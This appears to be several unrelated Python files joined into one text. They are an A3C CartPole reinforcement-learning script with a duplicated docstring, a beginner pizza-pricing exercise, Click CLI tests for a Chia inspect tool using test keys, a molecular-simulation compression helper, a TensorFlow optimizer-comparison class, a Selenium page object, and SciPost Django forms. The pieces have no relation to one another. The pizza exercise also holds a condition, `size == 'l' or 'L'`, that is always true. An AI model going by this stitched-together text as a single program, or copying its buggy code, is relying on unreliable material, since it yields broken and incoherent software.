"""
Algorithm:
----------
A3C algorithm.

Reference:
----------
Tensorlayer: https://github.com/tensorlayer/tensorlayer/blob/master/examples/reinforcement_learning/tutorial_A3C.py
MorvanZhou's tutorial: https://morvanzhou.github.io/tutorials/

Environment:
------------
CartPole-v0
CartPole-v1
#MountainCar-v0

Prerequisites:
--------------
tensorflow 2
gym

"""

"""
Algorithm:
----------
A3C algorithm. This code can be used to continuous action space game by
modifying function self.sample_action.

Reference:
----------
Tensorlayer: https://github.com/tensorlayer/tensorlayer/blob/master/examples/reinforcement_learning/tutorial_A3C.py
MorvanZhou's tutorial: https://morvanzhou.github.io/tutorials/

Environment:
------------
CartPole-v0
CartPole-v1
#MountainCar-v0

Prerequisites:
--------------
tensorflow 2
gym

"""

import tensorflow as tf
from tensorflow.keras.layers import Dense,Input
import numpy as np
import gym
import threading
import multiprocessing
import matplotlib.pyplot as plt

ENV_NAME = 'CartPole-v1'
N_LAYERS = [96]
LR_CRITIC = 1e-2
LR_ACTOR = 1e-3
N_STEPS = np.inf # default: 10
GAMMA = 0.99
ENTROPY_BETA=0.01
MAX_GLOBAL_EPISODES = 1500
NUM_WORKERS = multiprocessing.cpu_count()
RENDER = False
SEED = 116

class ActorCritic(object):
    def __init__(self, state_dim, action_num):
        self.state_dim=state_dim
        self.action_num=action_num

        self.actor=self.build_net(N_LAYERS, self.action_num)
        self.critic=self.build_net(N_LAYERS,1)

    def build_net(self, n_layers, output_size):
        kernel_init = tf.random_uniform_initializer(0, 0.01)
        bias_init = tf.constant_initializer(0.01)
        inputs=Input(shape=[self.state_dim,])
        for i in range(len(n_layers)):
            if i==0:
                x=Dense(n_layers[i],activation=tf.nn.leaky_relu,kernel_initializer=kernel_init,bias_initializer=bias_init)(inputs)
            else:
                x=Dense(n_layers[i],activation=tf.nn.leaky_relu,kernel_initializer=kernel_init,bias_initializer=bias_init)(x)
        y=Dense(output_size,activation=None,kernel_initializer=kernel_init,bias_initializer=bias_init)(x)
        return tf.keras.Model(inputs=inputs,outputs=y)

    def sample_action(self,observation):
        # shape: (state_dim,) => (1, state_dim)
        observation = observation[np.newaxis, :]
        # shape: (1, action_num)
        logits = self.actor(observation)
        probs = tf.nn.softmax(logits)
        # np scalar
        action = np.random.choice(np.arange(self.action_num), p=probs.numpy()[0])
        return action

    def update_global(self,observations,actions,n_step_returns,master):
        """update critic"""
        with tf.GradientTape() as tape:
            # shape: (batch, 1)
            vs=self.critic(observations)
            advantages=n_step_returns-vs
            # tensor scalar
            critic_loss=tf.math.reduce_mean(tf.math.square(advantages))
        critic_grad=tape.gradient(critic_loss,self.critic.trainable_variables)
        master.share_critic_optimizer.apply_gradients(zip(critic_grad,master.share_ACnet.critic.trainable_variables))

        """update actor"""
        with tf.GradientTape() as tape:
            # shape (batch, action_num)
            logits = self.actor(observations)
            prob = tf.nn.softmax(logits)
            # shape (batch, 1)
            log_prob = tf.math.reduce_sum(tf.math.log(prob+1e-10) * tf.one_hot(actions, depth=self.action_num), axis=1)
            # entropy to encourage exploration, output shape: (batch,1)
            entropy = -tf.math.reduce_sum(prob*tf.math.log(prob+1e-10),axis=1)
            # loss
            actor_loss=tf.reduce_mean(-advantages*log_prob-ENTROPY_BETA*entropy)
        actor_grad=tape.gradient(actor_loss,self.actor.trainable_variables)
        master.share_actor_optimizer.apply_gradients(zip(actor_grad,master.share_ACnet.actor.trainable_variables))

    def pull_global(self,master):
        for l_p, g_p in zip(self.critic.trainable_weights, master.share_ACnet.critic.trainable_weights):
            l_p.assign(g_p)
        for l_p, g_p in zip(self.actor.trainable_weights, master.share_ACnet.actor.trainable_weights):
            l_p.assign(g_p)

class Worker(object):
    def __init__(self,work_name,state_dim,action_num):
        self.work_name=work_name
        self.env=gym.make(ENV_NAME)
        self.local_AC=ActorCritic(state_dim,action_num)

    def work(self,master):
        while not COORD.should_stop() and master.global_episodes<MAX_GLOBAL_EPISODES:
            observation_buffer, action_buffer, reward_buffer = [], [], []
            ob=self.env.reset()
            ob = ob.astype(np.float32)
            ep_r=0
            while True:
                if RENDER and self.work_name == 'Worker_0' and master.global_episodes>MAX_GLOBAL_EPISODES/2:
                    self.env.render()

                ac = self.local_AC.sample_action(ob)
                ob_, rew, done, _ = self.env.step(ac)
                ob_=ob_.astype(np.float32)

                ep_r += rew
                observation_buffer.append(ob)
                action_buffer.append(ac)
                reward_buffer.append(rew)

                if len(reward_buffer)==N_STEPS or done:
                    if done:
                        v_ = 0.
                    else:
                        v_ = self.local_AC.critic(ob_[np.newaxis,:])[0,0] # (1,1) => scalar
                        v_ = v_.numpy()

                    n_step_returns = []
                    for r in reward_buffer[::-1]:
                        v_ = r+ GAMMA * v_
                        n_step_returns.append(v_)
                    n_step_returns.reverse()

                    # list => Tensor (batch, dim)
                    observation_buffer=tf.convert_to_tensor(np.vstack(observation_buffer),dtype=tf.float32)
                    #action_buffer=tf.convert_to_tensor(np.vstack(action_buffer),dtype=tf.float32)
                    n_step_returns=tf.convert_to_tensor(np.vstack(n_step_returns),dtype=tf.float32)

                    # update global networks
                    self.local_AC.update_global(observation_buffer,action_buffer,n_step_returns,master)
                    observation_buffer,action_buffer,reward_buffer=[],[],[]

                    # update local network
                    self.local_AC.pull_global(master)
                ob = ob_
                if done:
                    print("Training | {}, Episode:{}/{} | Episode Reward: {:.1f}".format(
                        self.work_name,master.global_episodes,MAX_GLOBAL_EPISODES,ep_r))
                    master.global_episodes += 1
                    master.global_episode_rewards.append(ep_r)
                    break

class Master(object):
    def __init__(self,state_dim,action_num):
        self.share_ACnet=ActorCritic(state_dim=state_dim,action_num=action_num)
        self.share_actor_optimizer=tf.optimizers.Adam(learning_rate=LR_ACTOR)
        self.share_critic_optimizer=tf.optimizers.Adam(learning_rate=LR_CRITIC)
        self.global_episodes=0
        self.global_episode_rewards=[]

if __name__=="__main__":
    # reproducible
    np.random.seed(SEED)
    tf.random.set_seed(SEED)

    """get env parameters"""
    env=gym.make(ENV_NAME)
    state_dim = env.observation_space.shape[0]
    action_num = env.action_space.n
    env.close()

    """create a global actor critic"""
    master = Master(state_dim=state_dim,action_num=action_num)

    """Threading"""
    workers=[]
    for i in range(NUM_WORKERS):
        i_name='Worker_%i' % i
        workers.append(Worker(work_name=i_name,state_dim=state_dim,action_num=action_num))
    COORD=tf.train.Coordinator()
    workers_threads=[]
    for worker in workers:
        job = lambda : worker.work(master)
        t=threading.Thread(target=job)
        t.start()
        workers_threads.append(t)
    COORD.join(workers_threads)

    plt.figure()
    plt.plot(master.global_episode_rewards)
    plt.xlabel('episodes')
    plt.ylabel('total reward per episode')
    plt.show()


# ðŸš¨ Don't change the code below ðŸ‘‡
print("Welcome to Python Pizza Deliveries!")
size = input("What size pizza do you want? S, M, or L ")
add_pepperoni = input("Do you want pepperoni? Y or N ")
extra_cheese = input("Do you want extra cheese? Y or N ")
# ðŸš¨ Don't change the code above ðŸ‘†

#Write your code below this line ðŸ‘‡
#Small Pizza: $15
#Medium Pizza: $20
#Large Pizza: $25
#Pepperoni for Small Pizza: +$2
#Pepperoni for Medium or Large Pizza: +$3
#Pepperoni for Medium or Large Pizza: +$3
#Extra cheese for any size pizza: + $1

pizza_s = 15
pizza_m = 20
pizza_l = 25
pepperoni_s = 2
pepperoni_o = 3
cheese = 1
if size == 's' or size == 'S':
  bill = pizza_s

elif size == 'm' or size == 'M':
  bill = pizza_m

elif size == 'l' or 'L':
  bill = pizza_l

if add_pepperoni == 'y' or add_pepperoni == 'Y':
  if bill == pizza_s:
    bill += pepperoni_s
  elif bill == pizza_m:
    bill += pepperoni_o
  elif bill == pizza_l:
    bill += pepperoni_o
  else:
    print('wrong selection')

if extra_cheese == 'y' or extra_cheese == 'Y':
  bill += cheese

elif extra_cheese == 'n' or extra_cheese =='N':
  bill == bill

print (f'Your total bill is {bill}')


from __future__ import annotations

import json
from pathlib import Path
from typing import Dict, List

from click.testing import CliRunner, Result

from cdv.cmds.cli import cli

EMPTY_SIG = "c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"  # noqa

class TestInspectCommands:
    def test_any(self):
        runner = CliRunner()

        # Try to inspect a program
        result: Result = runner.invoke(cli, ["inspect", "any", "ff0101"])
        assert result.exit_code == 0
        assert "guess" not in result.output

        # Try to inspect a private key
        result = runner.invoke(
            cli,
            [
                "inspect",
                "any",
                "05ec9428fc2841a79e96631a633b154b57a45311c0602269a6500732093a52cd",
            ],
        )
        assert result.exit_code == 0
        assert "guess" not in result.output

        # Try to inspect a public key
        result = runner.invoke(
            cli,
            [
                "inspect",
                "any",
                "b364a088d9df9423e54bff4c62e4bd854445fb8f5b8f6d80dea06773a4f828734a3a75318b180364ca8468836f0742db",
            ],
        )
        assert result.exit_code == 0
        assert "guess" not in result.output

        # Try to inspect an aggsig
        result = runner.invoke(
            cli,
            [
                "inspect",
                "any",
                EMPTY_SIG,
            ],
        )
        assert result.exit_code == 0
        assert "guess" not in result.output

        for class_type in ["coinrecord", "coin", "spendbundle", "spend"]:
            valid_json_path = Path(__file__).parent.joinpath(f"object_files/{class_type}s/{class_type}.json")
            invalid_json_path = Path(__file__).parent.joinpath(f"object_files/{class_type}s/{class_type}_invalid.json")
            metadata_path = Path(__file__).parent.joinpath(f"object_files/{class_type}s/{class_type}_metadata.json")
            valid_json: Dict = json.loads(open(valid_json_path, "r").read())
            metadata_json: Dict = json.loads(open(metadata_path, "r").read())

            # Try to load the invalid and make sure it fails
            result = runner.invoke(cli, ["inspect", "any", str(invalid_json_path)])
            assert result.exit_code == 0
            # If this succeeds, there should be no file name, if it fails, the file name should be output as info
            assert str(invalid_json_path) in result.output

            # Try to load the valid json
            result = runner.invoke(cli, ["inspect", "any", json.dumps(valid_json)])
            assert result.exit_code == 0
            for key in valid_json.keys():
                key_type = type(valid_json[key])
                if (key_type is not dict) and (key_type is not list):
                    assert (str(valid_json[key]) in result.output) or (str(valid_json[key]).lower() in result.output)

            # Try to load bytes
            if class_type != "coin":
                valid_hex_path = Path(__file__).parent.joinpath(f"object_files/{class_type}s/{class_type}.hex")

                # From a file
                result = runner.invoke(cli, ["inspect", "--json", "any", str(valid_hex_path)])
                assert result.exit_code == 0
                assert '"coin":' in result.output

                # From a string
                valid_hex: str = open(valid_hex_path, "r").read()
                result = runner.invoke(cli, ["inspect", "--json", "any", valid_hex])
                assert result.exit_code == 0
                assert '"coin":' in result.output

            # Make sure the ID calculation is correct
            result = runner.invoke(cli, ["inspect", "--id", "any", str(valid_json_path)])
            assert result.exit_code == 0
            assert metadata_json["id"] in result.output

            # Make sure the bytes encoding is correct
            result = runner.invoke(cli, ["inspect", "--bytes", "any", str(valid_json_path)])
            assert result.exit_code == 0
            assert metadata_json["bytes"] in result.output

            # Make sure the type guessing is correct
            result = runner.invoke(cli, ["inspect", "--type", "any", str(valid_json_path)])
            assert result.exit_code == 0
            assert metadata_json["type"] in result.output

    def test_coins(self):
        pid: str = "0x0000000000000000000000000000000000000000000000000000000000000000"
        ph: str = "0000000000000000000000000000000000000000000000000000000000000000"
        amount: str = "0"
        id: str = "f5a5fd42d16a20302798ef6ed309979b43003d2320d9f0e8ea9831a92759fb4b"

        runner = CliRunner()
        result: Result = runner.invoke(cli, ["inspect", "--id", "coins", "-pid", pid, "-ph", ph, "-a", amount])
        assert result.exit_code == 0
        assert id in result.output

    def test_spends(self):
        coin_path = Path(__file__).parent.joinpath("object_files/coins/coin.json")
        pid: str = "0x0000000000000000000000000000000000000000000000000000000000000000"
        ph: str = "0000000000000000000000000000000000000000000000000000000000000000"
        amount: str = "0"
        id: str = "f5a5fd42d16a20302798ef6ed309979b43003d2320d9f0e8ea9831a92759fb4b"
        puzzle_reveal: str = "01"
        solution: str = "80"
        cost: str = "569056"
        modified_cost: str = "557056"

        runner = CliRunner()

        # Specify the coin file
        result: Result = runner.invoke(
            cli,
            [
                "inspect",
                "--id",
                "spends",
                "-c",
                str(coin_path),
                "-pr",
                puzzle_reveal,
                "-s",
                solution,
            ],
        )
        assert result.exit_code == 0
        assert id in result.output

        # Specify all of the arguments
        base_command: List[str] = [
            "inspect",
            "--id",
            "spends",
            "-pid",
            pid,
            "-ph",
            ph,
            "-a",
            amount,
            "-pr",
            puzzle_reveal,
            "-s",
            solution,
        ]
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert id in result.output

        # Ask for the cost
        base_command.append("-ec")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert id in result.output
        assert cost in result.output

        # Change the cost per byte
        base_command.append("--ignore-byte-cost")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert id in result.output
        assert modified_cost in result.output

    def test_spendbundles(self):
        spend_path = Path(__file__).parent.joinpath("object_files/spends/spend.json")
        spend_path_2 = Path(__file__).parent.joinpath("object_files/spends/spend_2.json")
        pubkey: str = "80df54b2a616f5c79baaed254134ae5dfc6e24e2d8e1165b251601ceb67b1886db50aacf946eb20f00adc303e7534dd0"
        signable_data: str = "24f5a5fd42d16a20302798ef6ed309979b43003d2320d9f0e8ea9831a92759fb4bccd5bb71183532bff220ba46c268991a3ff07eb358e8255a65c30a2dce0e5fbb"  # noqa
        agg_sig: str = "b83fe374efbc5776735df7cbfb7e27ede5079b41cd282091450e4de21c4b772e254ce906508834b0c2dcd3d58c47a96914c782f0baf8eaff7ece3b070d2035cd878f744deadcd6c6625c1d0a1b418437ee3f25c2df08ffe08bdfe06b8a83b514"  # noqa
        id_no_sig: str = "3fc441c1048a4e0b9fd1648d7647fdebd220cf7dd51b6967dcaf76f7043e83d6"
        id_with_sig: str = "7d6f0da915deed117ad5589aa8bd6bf99beb69f48724b14b2134f6f8af6d8afc"
        network_modifier: str = "testnet7"
        modified_signable_data: str = "24f5a5fd42d16a20302798ef6ed309979b43003d2320d9f0e8ea9831a92759fb4b117816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015af"  # noqa
        cost: str = "6692283"
        modified_cost: str = "6668283"

        runner = CliRunner()

        # Build with only the spends
        result: Result = runner.invoke(
            cli,
            [
                "inspect",
                "--id",
                "spendbundles",
                "-s",
                str(spend_path),
                "-s",
                str(spend_path_2),
            ],
        )
        assert result.exit_code == 0
        assert id_no_sig in result.output

        # Build with the aggsig as well
        base_command: List[str] = [
            "inspect",
            "--id",
            "spendbundles",
            "-s",
            str(spend_path),
            "-s",
            str(spend_path_2),
            "-as",
            agg_sig,
        ]
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert id_with_sig in result.output

        # Test that debugging info comes up
        base_command.append("-db")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert "Debugging Information" in result.output

        # Make sure our signable data comes out
        base_command.append("-sd")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert pubkey in result.output
        assert result.output.count(signable_data) == 2

        # Try a different network for different signable data
        base_command.append("-n")
        base_command.append(network_modifier)
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert modified_signable_data in result.output

        # Output the execution cost
        base_command.append("-ec")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert cost in result.output

        # Try a new cost per bytes
        base_command.append("--ignore-byte-cost")
        result = runner.invoke(cli, base_command)
        assert result.exit_code == 0
        assert modified_cost in result.output

        # Try to use it the programmatic way (like cdv rpc pushtx does)
        from cdv.cmds.chia_inspect import do_inspect_spend_bundle_cmd
        from cdv.cmds.util import fake_context

        bundle_path = Path(__file__).parent.joinpath("object_files/spendbundles/spendbundle.json")
        assert len(do_inspect_spend_bundle_cmd(fake_context(), [str(bundle_path)], print_results=False)) > 0

    def test_coinrecords(self):
        coin_path = Path(__file__).parent.joinpath("object_files/coins/coin.json")
        pid: str = "0x0000000000000000000000000000000000000000000000000000000000000000"
        ph: str = "0000000000000000000000000000000000000000000000000000000000000000"
        amount: str = "0"
        id: str = "f5a5fd42d16a20302798ef6ed309979b43003d2320d9f0e8ea9831a92759fb4b"
        coinbase: str = "False"
        confirmed_block_index: str = "500"
        spent_block_index: str = "501"
        timestamp: str = "909469800"

        runner = CliRunner()

        # Try to load it from a file
        record_path = Path(__file__).parent.joinpath("object_files/coinrecords/coinrecord.json")
        result: Result = runner.invoke(cli, ["inspect", "coinrecords", str(record_path)])
        assert result.exit_code == 0
        assert '"coin":' in result.output

        # Specify the coin file
        result = runner.invoke(
            cli,
            [
                "inspect",
                "--id",
                "coinrecords",
                "-c",
                str(coin_path),
                "-cb",
                coinbase,
                "-ci",
                confirmed_block_index,
                "-si",
                spent_block_index,
                "-t",
                timestamp,
            ],
        )
        assert result.exit_code == 0
        assert id in result.output

        # Specify all of the arguments
        result = runner.invoke(
            cli,
            [
                "inspect",
                "--id",
                "coinrecords",
                "-pid",
                pid,
                "-ph",
                ph,
                "-a",
                amount,
                "-cb",
                coinbase,
                "-ci",
                confirmed_block_index,
                "-si",
                spent_block_index,
                "-t",
                timestamp,
            ],
        )
        assert result.exit_code == 0
        assert id in result.output

    def test_programs(self):
        program: str = "ff0101"
        id: str = "69ae360134b1fae04326e5546f25dc794a19192a1f22a44a46d038e7f0d1ecbb"

        runner = CliRunner()

        result: Result = runner.invoke(cli, ["inspect", "--id", "programs", program])
        assert result.exit_code == 0
        assert id in result.output

    def test_keys(self):
        mnemonic: str = "chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia chia"  # noqa
        sk: str = "6e66bc91c04127f1178cb725faf82b55214b5f215b10bd53bf2eb1ee9e76d2cc"
        pk: str = "8777e5c4f5b21840eb69d9cc09433655b044a8e80048cd9583bab9a90f4774d2d57c1b19196ae132c9502db5902f3e5d"
        hd_modifier: str = "m/12381/8444/0/0"
        type_modifier: str = "farmer"  # Should be same as above HD Path
        farmer_sk: str = "1d4a4c2f2059ac889fe066d1116a0fe5dc3d6aa016645306698968c78e8df916"
        synthetic_sk: str = "6963ce75cd541a0b49cc6feb15185675beb513bd5808e744d475ec50cf75b2c0"
        ph_modifier: str = "69ae360134b1fae04326e5546f25dc794a19192a1f22a44a46d038e7f0d1ecbb"
        modified_synthetic_sk: str = "2dc18bb076849fce06d9c36e59821ff43e8b81068d33fcc5ada3568fb9dcdb7f"

        runner = CliRunner()

        # Build the key from secret key
        result: Result = runner.invoke(cli, ["inspect", "keys", "-sk", sk])
        assert result.exit_code == 0
        assert sk in result.output
        assert pk in result.output
        key_output: str = result.output

        # Build the key from mnemonic
        result = runner.invoke(cli, ["inspect", "keys", "-m", mnemonic])
        assert result.exit_code == 0
        assert result.output == key_output

        # Use only the public key
        result = runner.invoke(cli, ["inspect", "keys", "-pk", pk])
        assert result.exit_code == 0
        assert result.output in key_output

        # Generate a random one
        result = runner.invoke(cli, ["inspect", "keys", "--random"])
        assert result.exit_code == 0
        assert "Secret Key" in result.output
        assert "Public Key" in result.output

        # Check the HD derivation is working
        result = runner.invoke(cli, ["inspect", "keys", "-sk", sk, "-hd", hd_modifier])
        assert result.exit_code == 0
        assert farmer_sk in result.output

        # Check the type derivation is working
        result = runner.invoke(cli, ["inspect", "keys", "-sk", sk, "-t", type_modifier])
        assert result.exit_code == 0
        assert farmer_sk in result.output

        # Check that synthetic calculation is working
        result = runner.invoke(cli, ["inspect", "keys", "-sk", sk, "-sy"])
        assert result.exit_code == 0
        assert synthetic_sk in result.output

        # Check that using a non default puzzle hash is working
        result = runner.invoke(cli, ["inspect", "keys", "-sk", sk, "-sy", "-ph", ph_modifier])
        assert result.exit_code == 0
        assert modified_synthetic_sk in result.output

    def test_signatures(self):
        secret_key_1: str = "70432627e84c13c1a6e6007bf6d9a7a0342018fdef7fc911757aad5a6929d20a"
        secret_key_2: str = "0f01f7f68935f8594548bca3892fec419c6b2aa7cff54c3353a2e9b1011f09c7"
        text_message: str = "cafe food"
        bytes_message: str = "0xcafef00d"
        extra_signature: str = "b5d4e653ec9a737d19abe9af7050d37b0f464f9570ec66a8457fbdabdceb50a77c6610eb442ed1e4ace39d9ecc6d40560de239c1c8f7a115e052438385d594be7394df9287cf30c3254d39f0ae21daefc38d3d07ba3e373628bf8ed73f074a80"  # noqa
        final_signature: str = "b7a6ab2c825068eb40298acab665f95c13779e828d900b8056215b54e47d8b8314e8b61fbb9c98a23ef8a134155a35b109ba284bd5f1f90f96e0d41427132b3ca6a83faae0806daa632ee6b1602a0b4bad92f2743fdeb452822f0599dfa147c0"  # noqa

        runner = CliRunner()

        # Test that an empty command returns an empty signature
        result = runner.invoke(cli, ["inspect", "signatures"])
        assert result.exit_code == 0
        assert EMPTY_SIG in result.output

        # Test a complex signature calculation
        result = runner.invoke(
            cli,
            [
                "inspect",
                "signatures",
                "-sk",
                secret_key_1,
                "-t",
                text_message,
                "-sk",
                secret_key_2,
                "-b",
                bytes_message,
                "-sig",
                extra_signature,
            ],
        )
        assert result.exit_code == 0
        assert final_signature in result.output


""" Provides a function CompressRun which gently compresses/expands a system
represented by a rumdSimulation object to a given desired density"""

import math

def RunCompress(sim, final_density, num_scale_steps=100, niter_per_scale=1000, verbose=False):
    """
    Take an existing simulation object, with integrator and potential(s)
    already set up, and gently change its density to final_density.
    niter_per_scale: time steps to run for each incremental change in density.
    num_scale_steps: number of incremental density changes
    """
    start_density = sim.GetNumberOfParticles() / sim.GetVolume()
    scaleFactor = math.exp(-math.log(final_density/start_density)/3/num_scale_steps)
    have_molecule_data = sim.moleculeData is not None

    for scale_idx in range(num_scale_steps):

        sim.Run(niter_per_scale, suppressAllOutput=True)
        if verbose:
            sim.sample.CalcF()
            density = sim.GetNumberOfParticles() / sim.GetVolume()
            pe = sim.sample.GetPotentialEnergy()
            print("%d %f %f" % (scale_idx, density, pe))

        sim.ScaleSystem(scaleFactor, CM=have_molecule_data)

    # scale again to get exact density
    density = sim.GetNumberOfParticles() / sim.GetVolume()
    scaleFactor = math.exp(-math.log(final_density/density)/3)
    sim.ScaleSystem(scaleFactor, CM=have_molecule_data)
    # Run one more time at final density
    sim.Run(niter_per_scale, suppressAllOutput=True)


import CoreNetwork.CoreNetworkModel as cn
import CoreNetwork.ModelParameters as mp
import CoreNetwork.Optimizers as asop
import tensorflow as tf
import json
import numpy as np

class KModelSelector(object):

    def __init__(self):
        self._configs = self._getconfigs()
        self._learning_rate = 0.01
        self._optimizers = self._getOptimizers()
        self._epochs = 5
        self._minibatchsize = 200

    def _getOptimizers(self):
        opts = [
            tf.train.GradientDescentOptimizer(learning_rate=self._learning_rate),
            asop.ASGradientDescentOptimizer(base_learning_rate=self._learning_rate),
            tf.train.RMSPropOptimizer(learning_rate=self._learning_rate),
            asop.ASRMSPropOptimizer(base_learning_rate=self._learning_rate),
            tf.train.AdamOptimizer(learning_rate=self._learning_rate),
            tf.train.MomentumOptimizer(learning_rate=self._learning_rate, momentum=.9),
            tf.train.MomentumOptimizer(learning_rate=self._learning_rate, momentum=.9, use_nesterov=True),
            tf.train.AdagradOptimizer(learning_rate=self._learning_rate)
        ]
        opt_names = ['SGD',
                     'SGD+AS',
                     'RMSProp',
                     'RMSProp+AS',
                     'ADAM',
                     'SGD+M',
                     'SGD+NM',
                     'Adagrad'
                     ]
        return zip(opts,opt_names)

    def _getconfigs(self):
        fpath = "D:\\BecomingADS\\KerasTFLab\\KModelSelector\\ModelSelectionConfig.json"
        with open(fpath) as f:
            _configs = json.load(f)
            return _configs

    def GetExperiments(self,Tag):
        tagconfigs = self._configs
        tagfns = tagconfigs[Tag]
        return tagfns

    def RunExperiments(self,Tag, X, Y, features, num_classes):
        tagf = self.GetExperiments(Tag)
        for l in tagf:
            getattr(KModelSelector,l)(self, X, Y, features, num_classes)

    def _train(self, modelparameters, X, Y):
        losses = []
        for optimizer, optimizername in (self._optimizers):
            init1 = tf.global_variables_initializer()
            with tf.Session() as sess:
                sess.run(init1)
                network = cn.CoreNetwork(modelparameters)
                loss = network.train(sess, X, Y, self._epochs, optimizer, self._minibatchsize, optimizername)
                losses.append(loss)
            tf.reset_default_graph()

        return losses

    def BuildLogisticRegressionModel(self,X,Y,features,num_classes):
        model_p = mp.ModelParameters(input_feature_count=features, layers=[], activations=[], outputclasses=num_classes)
        losses = self._train(model_p,X,Y)
        return losses

    def BuildANNModel2Layers(self,X,Y,features,num_classes):
        model_p = mp.ModelParameters(input_feature_count=features, layers=[20, 5], activations=["relu", "relu"],
                                     outputclasses=num_classes)
        losses = self._train(model_p, X, Y)
        return losses

    def BuildANNModel3Layers(self,X,Y,features,num_classes):
        model_p = mp.ModelParameters(input_feature_count=features, layers=[20, 5, 10], activations=["relu", "relu","relu"],
                                     outputclasses=num_classes)
        losses = self._train(model_p, X, Y)
        return losses

    def BuildConvNet1(self,X,Y,features,num_classes):
        return "return Convnet 1"

    def BuildConvNet2(self,X,Y,features,num_classes):
        return "return Convnet 2"


import time
from selenium.webdriver.common.keys import Keys
from Config.config import TestData
from Pages.BasePages import BasePage
from selenium.webdriver.common.by import By

class ProfilePage(BasePage):

    CHANGE_INFO = (By.ID, "js--edit-personal")
    NAME = (By.XPATH,'//input[@class="form-control personal p-3 name"]')
    SAVE_BUTTON = (By.ID, "personalInfo")

    def __init__(self, driver):
        super().__init__(driver)
        self.driver.get(TestData.PROFILE_URL)

    def get_profile_page_title(self, title):
        return self.get_title(title)
    def do_change_info(self, name):
        self.do_click(self.CHANGE_INFO)
        self.do_send_keys(self.NAME, name)
        self.do_click(self.SAVE_BUTTON)


__copyright__ = "Copyright © Stichting SciPost (SciPost Foundation)"
__license__ = "AGPL v3"

from django import forms
from django.utils.safestring import mark_safe
from django.template.loader import get_template

from crispy_forms.helper import FormHelper
from crispy_forms.layout import Layout, Div
from crispy_bootstrap5.bootstrap5 import FloatingField

from .models import Commentary
from .constants import COMMENTARY_PUBLISHED, COMMENTARY_PREPRINT

from comments.forms import CommentForm
from scipost.services import DOICaller, ArxivCaller

import strings

class DOIToQueryForm(forms.Form):
    VALID_DOI_REGEXP = r"(?i)10.\d{4,9}/[-._;()/:A-Z0-9]+$"
    doi = forms.RegexField(
        regex=VALID_DOI_REGEXP,
        strip=True,
        help_text=strings.doi_query_help_text,
        error_messages={"invalid": strings.doi_query_invalid},
        widget=forms.TextInput(
            {"label": "DOI", "placeholder": strings.doi_query_placeholder}
        ),
    )

    def clean_doi(self):
        input_doi = self.cleaned_data["doi"]

        commentary = Commentary.objects.filter(pub_DOI=input_doi)
        if commentary.exists():
            error_message = get_template(
                "commentaries/_doi_query_commentary_exists.html"
            ).render({"arxiv_or_DOI_string": commentary[0].arxiv_or_DOI_string})
            raise forms.ValidationError(mark_safe(error_message))

        caller = DOICaller(input_doi)
        if caller.is_valid:
            self.crossref_data = DOICaller(input_doi).data
        else:
            error_message = "Could not find a resource for that DOI."
            raise forms.ValidationError(error_message)

        return input_doi

    def request_published_article_form_prefill_data(self):
        additional_form_data = {"pub_DOI": self.cleaned_data["doi"]}
        return {**self.crossref_data, **additional_form_data}

class ArxivQueryForm(forms.Form):
    IDENTIFIER_PATTERN_NEW = r"^[0-9]{4,}.[0-9]{4,5}v[0-9]{1,2}$"
    IDENTIFIER_PATTERN_OLD = r"^[-.a-z]+/[0-9]{7,}v[0-9]{1,2}$"
    VALID_ARXIV_IDENTIFIER_REGEX = "(?:{})|(?:{})".format(
        IDENTIFIER_PATTERN_NEW, IDENTIFIER_PATTERN_OLD
    )

    identifier = forms.RegexField(
        regex=VALID_ARXIV_IDENTIFIER_REGEX,
        strip=True,
        help_text=strings.arxiv_query_help_text,
        error_messages={"invalid": strings.arxiv_query_invalid},
        widget=forms.TextInput({"placeholder": strings.arxiv_query_placeholder}),
    )

    def clean_identifier(self):
        identifier = self.cleaned_data["identifier"]

        commentary = Commentary.objects.filter(arxiv_identifier=identifier)
        if commentary.exists():
            error_message = get_template(
                "commentaries/_doi_query_commentary_exists.html"
            ).render({"arxiv_or_DOI_string": commentary[0].arxiv_or_DOI_string})
            raise forms.ValidationError(mark_safe(error_message))

        caller = ArxivCaller(identifier)
        if caller.is_valid:
            self.arxiv_data = ArxivCaller(identifier).data
        else:
            error_message = "Could not find a resource for that arXiv identifier."
            raise forms.ValidationError(error_message)

        return identifier

    def request_arxiv_preprint_form_prefill_data(self):
        additional_form_data = {"arxiv_identifier": self.cleaned_data["identifier"]}
        return {**self.arxiv_data, **additional_form_data}

class RequestCommentaryForm(forms.ModelForm):
    class Meta:
        model = Commentary
        fields = [
            "acad_field",
            "specialties",
            "approaches",
            "title",
            "author_list",
            "pub_date",
            "pub_abstract",
        ]
        placeholders = {"pub_date": "Format: YYYY-MM-DD"}

    def __init__(self, *args, **kwargs):
        self.requested_by = kwargs.pop("requested_by", None)
        super().__init__(*args, **kwargs)

    def save(self, *args, **kwargs):
        self.instance.parse_links_into_urls(commit=False)
        if self.requested_by:
            self.instance.requested_by = self.requested_by
        return super().save(*args, **kwargs)

class RequestArxivPreprintForm(RequestCommentaryForm):
    class Meta(RequestCommentaryForm.Meta):
        model = Commentary
        fields = RequestCommentaryForm.Meta.fields + ["arxiv_identifier"]

    def __init__(self, *args, **kwargs):
        super(RequestArxivPreprintForm, self).__init__(*args, **kwargs)
        # We want arxiv_identifier to be a required field.
        # Since it can be blank on the model, we have to override this property here.
        self.fields["arxiv_identifier"].required = True

    # TODO: add regex here?
    def clean_arxiv_identifier(self):
        arxiv_identifier = self.cleaned_data["arxiv_identifier"]

        commentary = Commentary.objects.filter(arxiv_identifier=arxiv_identifier)
        if commentary.exists():
            error_message = get_template(
                "commentaries/_doi_query_commentary_exists.html"
            ).render({"arxiv_or_DOI_string": commentary[0].arxiv_or_DOI_string})
            raise forms.ValidationError(mark_safe(error_message))

        return arxiv_identifier

    def save(self, *args, **kwargs):
        self.instance.type = COMMENTARY_PREPRINT
        return super().save(*args, **kwargs)

